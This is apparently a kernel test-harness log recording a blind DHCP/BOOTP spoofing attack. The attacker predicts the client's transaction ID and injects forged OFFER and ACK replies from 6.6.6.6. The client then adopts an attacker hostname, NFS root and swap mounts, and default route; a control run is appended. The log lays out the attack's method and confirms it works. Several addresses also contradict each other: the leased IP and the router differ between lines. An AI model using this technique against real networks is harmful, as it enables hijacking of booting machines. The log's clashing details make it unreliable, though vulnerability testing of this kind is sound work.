### DF-3044 baseline kernel (stock X86_64_GENERIC sources + verbatim-interposition harness), test 2: blind predicted-XID spoof, origin 6.6.6.6:9999 ###

dfrig12: === test 2 begin ===
dfrig12: attacker model: 1 broadcast ifp(s); predicted DISCOVER xid=ffff0001 (seed 0xFFFF0000 + 0 per if + 1 compose); MAC known a priori; NO packet ever observed
Sending DHCP Discover packet from interface vtnet0 (52:54:00:12:34:56)
dfrig12: client broadcasts query #1 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
dfrig12: ATTACKER injects OFFER xid_raw=0100ffff origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6
Received DHCP Offer packet on vtnet0 from 6.6.6.6 (accepted) (no root path)
Sending DHCP Request packet from interface vtnet0 (52:54:00:12:34:56)
dfrig12: client broadcasts query #2 xid_raw=0100ffff msgtype=3 (any same-L2 host hears it)
dfrig12: ATTACKER injects ACK xid_raw=0100ffff origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6
Received DHCP Ack packet on vtnet0 from 6.6.6.6 (accepted) (got root path)
vtnet0 at 66.6.6.6 server 6.6.6.6
subnet mask 255.255.0.0 router 1.6.6.6 rootfs 6.6.6.6:/pwn3d swapfs 6.6.6.6:/swpwn swapsize 65536 KB hostname pwn3d 
Adjusted interface vtnet0
dfrig12: DF3044: hostname ADOPTED 'pwn3d' (attacker TAG_HOSTNAME)
dfrig12: DF3044: root NFS mount ADOPTED from attacker 6.6.6.6 path=6.6.6.6:/pwn3d
dfrig12: DF3044: swap NFS mount ADOPTED from 6.6.6.6 path=6.6.6.6:/swpwn
dfrig12: DF3044: default route ADOPTED via attacker 6.6.6.1 flags=0x803
dfrig12: DF3044: client 1st xid_raw=0100ffff vs predicted 0100ffff: MATCH
dfrig12: DF3044: soreceive origin requested 0 time(s), filled 0 (bootp_subr.c:807 passes NULL name)
dfrig12: === test 2 end ===

### test 20 control (reply xid 0x41414141): sysctl kern.dfrig12_status output, captured verbatim from the same baseline session ###
 | DF3044: hostname NOT adopted (stays 'dfbsd') | DF3044: root mount NOT adopted (rec=0) | DF3044: default route NOT adopted (adds=0) | DF3044: client 1st xid_raw=0100ffff vs predicted 0100ffff: MATCH | DF3044: soreceive origin requested 0 time(s), filled 0 (bootp_subr.c:807 passes NULL name)